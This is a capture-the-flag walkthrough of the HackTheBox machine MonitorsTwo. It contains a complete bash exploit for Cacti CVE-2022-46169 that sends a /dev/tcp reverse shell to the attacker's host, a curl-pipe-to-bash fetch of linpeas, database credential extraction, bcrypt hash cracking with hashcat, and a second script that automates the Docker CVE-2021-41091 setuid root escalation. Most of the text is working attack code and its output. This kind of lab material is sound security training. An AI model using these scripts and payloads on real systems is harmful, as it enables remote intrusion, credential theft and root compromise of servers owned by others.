Box overview
MonitorsTwo is an easy box created by kavigihan combining the exploitation of Cacti (CVE-2022-46169) as entry point then privilege escalation by exploiting the CVE-2021-41091.
Initial foothold
Add the IP to the hosts file
Firstly, I will update the hosts file entry with the box hostname and its IP. As it's a hackthebox machine, normally they use the boxname.htb as hostname.
This can be done as such:
echo "10.10.11.211 monitorstwo.htb" | sudo tee -a /etc/hosts
Nmap scan
Checking open ports is the first step to be executed. This can be done with nmap:
nmap -sV -sC -v monitorstwo.htb
The options:
- -sV : Probe open ports ant try to determine service/version info.
- -sC : Use default scripts.
- -v : Verbose output.
and got the following results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see both SSH and HTTP ports are open.
Searching for Cacti exploit
By checking http://monitorstwo.htb/index.php we can see the underlaying Cacti CMS version being used, that is Version 1.2.22.
For me, I would use a simple curl command to fetch basic data like:
curl -sSL http://monitorstwo.htb | grep -Ei '(version|powered)' | sed 's/<\/*[^>]*>//g' | sed -e 's/^\s*//'
this will return:
Version 1.2.22 | (c) 2004-2023 - The Cacti Group
var cactiVersion='1.2.22';
Doing a quick search, this version seems to be vulnerable to CVE-2022-46169 which is an RCE (Remote Code Execution).
Get the first shell
CVE-2022-46169 is a bug in the remote_client_authorized function. The vulnerability exists due to insufficient authorization within the Remote Agent when handling HTTP requests with a custom Forwarded-For HTTP header. A remote non-authenticated attacker can exploit this by sending a specially crafted HTTP request to the affected instance. As a result, the attacker can execute arbitrary operating system (OS) commands on the server, potentially gaining unauthorized access and control over the system.
After having a look at the vulnerability, I've created a bash script to exploit it:
#!/bin/bash
#0xyassine
#CVE-2022-46169
function usage()
{
echo "Usage: $0 -u https://target-url.com -l LHOST -p LPORT"
echo "Options:"
echo " -u The URL target"
echo " -l Your listening IP for the reverse shell"
echo " -p The listening port for the reverse shell"
exit 1
}
while getopts ":u:l:p:" o; do
case "${o}" in
u)
TARGET_URL=${OPTARG}
;;
l)
LHOST=${OPTARG}
;;
p)
LPORT=${OPTARG}
;;
*)
usage
;;
esac
done
shift $((OPTIND-1))
if [ -z "${TARGET_URL}" ] || [ -z "${LHOST}" ] || [ -z "${LPORT}" ]; then
usage
fi
function is_vulnerable()
{
HEADERS="X-Forwarded-For: 127.0.0.1"
USER_AGENTS=('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0')
RESPONSE=$(curl -X GET -H "$HEADERS" -s -w "%{http_code}" "$TARGET_URL/remote_agent.php" |sed 's/<\/*[^>]*>//g')
STATUS_CODE="${RESPONSE: -3}"
RESPONSE_BODY="${RESPONSE::-3}"
if [[ $STATUS_CODE == 200 && $RESPONSE_CODE != *"FATAL: You are not authorized to use this service"* ]]; then
echo "[+] $TARGET_URL IS VULNERABLE"
else
echo "[-] $TARGET_URL IS NOT VULNERABLE"
exit 2
fi
}
function bruteforce()
{
LIST_SIZE=${#USER_AGENTS[@]}
for I in {1..100};do
for J in {1..100};do
INDEX=$(($RANDOM % $LIST_SIZE))
RAND_USER_AGENT=${USER_AGENTS[$INDEX]}
PAYLOAD="bash -c 'exec bash -i &>/dev/tcp/$LHOST/$LPORT <&1'"
PAYLOAD=$(printf %s "$PAYLOAD"|jq -sRr @uri)
FULL_REQUEST="$TARGET_URL/remote_agent.php?action=polldata&local_data_ids[]=$J&host_id=$I&poller_id=$I;$PAYLOAD"
echo "[+] $FULL_REQUEST"
curl --connect-timeout 5 "$FULL_REQUEST" -H "$HEADERS" -A "$RAND_USER_AGENT" -o /dev/null -s
done
done
}
is_vulnerable
bruteforce
Save as CVE-2022-46169.sh and chmod +x CVE-2022-46169.sh.
To use the script, you will have to provide the URL i.e. http://monitorstwo.htb, the reverse shell IP used to receive the connection and the reverse shell port number.
Open a new terminal and listen to any non-used port you want to be used to receive the shell. I like to use 5555 as port number:
nc -vlp 5555
the options are:
- -v : for verbose output.
- -l : listening mode.
- -p : the port number.
And we can get the VPN IP using the ifconfig command.
Final, execute the script:
./CVE-2022-46169.sh -u http://monitorstwo.htb -l MY_VPN_IP -p 5555
A remote shell has been received:
→ nc -vlp 5555
listening on [any] 5555 ...
connect to [YOUR_VPN_IP] from monitorstwo.htb [10.10.11.211] 43962
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$
Getting user shell
Finding the access credentials
After doing some basic enumerations, i was able to find the script file entrypoint.sh:
www-data@50bca5e748b0:/var/www/html$ cat /entrypoint.sh
cat /entrypoint.sh
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
We can see credentials to access the mysql database. The first thing to do in this case it to try to list the tables and check if we have users credentials.
We can list the tables with the following command:
mysql --host=db --user=root --password=root cacti -e "show tables"
Part of the returned entries:
user_auth
user_auth_cache
user_auth_group
user_auth_group_members
user_auth_group_perms
user_auth_group_realm
user_auth_perms
user_auth_realm
user_domains
Now listing the content of the user_auth table:
mysql --host=db --user=root --password=root cacti -e "select * from user_auth"
Finally we found the credentials but they are bcrypt encrypted:
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson [email protected] on on on on on 2 1 1 1 1 on -1 -1 -1 0 0 663348655
3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 31 1 1 1 1 -1 -1 -1 0 0 0
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune [email protected] on on on on 1 1 1 1 1 on -1 -1 on 0 0 2135691668
so we have:
admin: $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
marcus: $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
Cracking the creds
We can use hashcat to crack them.
Note: I've tried to crack the admin credential without any luck
Create a file called passwords and add marcus password to it:
→ cat passwords
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
Execute hashcat with rockyou.txt word list:
hashcat passwords -m 3200 /usr/share/wordlists/rockyou.txt -w 3
- -m: used for the hash type, 3200 is the one for bcrypt.
- -w: workload profile set to 3 which is the high Performance profile.
After some time, the password will be cracked and it's funkymonkey
Get user shell
Now as we have ssh port open, we can try the creds marcus:funkymonkey
→ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
And we are in. We can get the user flag:
marcus@monitorstwo:~$ cat user.txt
17a1dadab83200f64243b7a47bd15ff7
Get root in docker
Started enumeration using the linpeas.sh script. As DNS resolving is disabled on the box, I downloaded the script and hosted it using a php server using:
php -S MY_VPN_IP:4444
then on the box executed:
curl -s "http://MY_VPN_IP:4444/linpeas.sh" | bash
Unfortunately nothing really important popped up, however by checking the /var/mail/marcus, I was able to find an interesting mail:
From: [email protected]
To: [email protected]
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of
Dear all,
We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.
Best regards,
Administrator
CISO
Monitor Two
Security Team
We see three mentioned CVE's :
- CVE-2021-33033: it's related to the kernel and do not seems to be very interesting as it's just to write arbitrary values.
- CVE-2020-25706: not relevant as this version of cacti is not used on the server.
- CVE-2021-41091: looks interesting as it allow us to execute programs on the data directory with insufficiently restricted permissions but it affect Moby on docker.
I quickly checked if Moby is running using:
ps -ef | grep -i moby | grep -v grep
and returned:
root 1231 1 0 06:25 ? 00:00:02 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69 -address /run/containerd/containerd.sock
root 1346 1 0 06:25 ? 00:00:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e -address /run/containerd/containerd.sock
We have moby running in docker container and we can see the mount points using the findmnt command:
├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NO
├─/var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
│ shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYH
└─/var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
CVE-2021-41091 explanation
CVE-2021-41091 is a vulnerability within Moby (Docker Engine), which enables unprivileged Linux users to navigate and run programs in the data directory (typically found at /var/lib/docker) due to inadequately restricted permissions. This security flaw arises when containers hold executable programs with extended permissions like setuid. An unprivileged Linux users can identify and execute these programs. They can also manipulate files if the user's UID on the host corresponds to the file's owner or group within the container.
The overlay filesystem plays a pivotal role in exploiting this vulnerability. Docker employs the overlay filesystem to layer the container's file system over the host's file system. This configuration grants the host system the ability to interact with and modify the files contained within the container.
This can give us an idea about the privilege escalation. By assigning the setuid bit to the bash binary within the Docker environment, we can execute bash with elevated privileges from the host system. This action provides us with root access.
Escalate privilege inside the docker
Going back to the first shell that we got as www-data user which is the docker container, I've first searched for the setuid binaries using:
find / -perm /u=s -exec ls -lht {} ; 2>/dev/null
this returned few binaries and the very interesting one is:
-rwsr-xr-x 1 root root 31K Oct 14 2020 /sbin/capsh
I searched GTFOBins for this and found an exploit:
/sbin/capsh --gid=0 --uid=0 --
and we are root:
/sbin/capsh --gid=0 --uid=0 --
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Now we can assign the setuid bit to the /bin/bash with:
chmod +s /bin/bash
setuid bit makes an executable run with the privileges of the owner of the file which is root.
Going back to the marcus user and searching for the binary in the two overlay2 disks, I found it in one of them:
marcus@monitorstwo:~$ ls -lht /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash
-rwsr-sr-x 1 root root 1.2M Mar 27 2022 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash
executing this path with the -p (privileged) option can give us root:
marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) egid=0(root) groups=0(root),1000(marcus)
bash-5.1#
The setuid bit would allow us to temporarily assume the effective UID of the file's owner ( the root ) while the bash -p command is running. This means you would effectively gain root privileges.
I have created a script to automate rooting the box , given that we already added the setuid bit.
#!/bin/bash
#0xyassine
#CVE-2021-41091
#CHECK IF DOCKER IS INSTALLED
if ! which docker &> /dev/null;then echo "[-] DOCKER NOT INSTALLED";exit;fi
if docker --version | grep -qw "20.10.5";then
echo "[+] VULNERABLE TO CVE-2021-41091"
#CHECKING IF MOBY IS RUNNING
if ps aux |grep -iE moby |grep -v 'grep' &> /dev/null;then
echo "[+] MOBY RUNNING"
else
echo "[-] MOBY NOT RUNNING, MAY NOT BE VULNURABLE BUT TRYING ANYWAY"
fi
echo "[+] CHECKING OVERLAY2 MOUNTPOINTS"
OVERLAY2_MOUNTPOINTS=$(df -h | awk '{print $6}' 2>/dev/null |grep overlay2)
if [[ -n "$OVERLAY2_MOUNTPOINTS" ]];then
for POINT in $OVERLAY2_MOUNTPOINTS; do
EXECUTABLE=$(find $POINT/bin/ -type f -name bash -perm /u=s 2>/dev/null)
if [[ -n $EXECUTABLE ]]; then
echo "[+] SETUID BINARY FOUND IN [ $POINT ]"
echo "[+] GETTING SHELL"
$EXECUTABLE -p
else
echo "[-] NO SETUID BINARY FOUND IN [ $POINT ]"
fi
done
else
echo "[-] NO OVERLAY2 MOUNTPOINTS FOUND"
exit
fi
else
echo "[-] DOCKER VERSION NOT VULNERABLE TO CVE-2021-41091"
fi
Running the script:
marcus@monitorstwo:~$ nano CVE-2021-41091.sh
marcus@monitorstwo:~$ chmod +x CVE-2021-41091.sh
marcus@monitorstwo:~$ ./CVE-2021-41091.sh
[+] VULNERABLE TO CVE-2021-41091
[+] MOBY RUNNING
[+] CHECKING OVERLAY2 MOUNTPOINTS
[-] NO SETUID BINARY FOUND IN [ /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged ]
[+] SETUID BINARY FOUND IN [ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged ]
[+] GETTING SHELL
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
bash-5.1# cat /root/root.txt
e121cad28396fd51b4296934233c80b2
bash-5.1#
That's all for this box! If you have any question, feel free to letting me know in the comments section.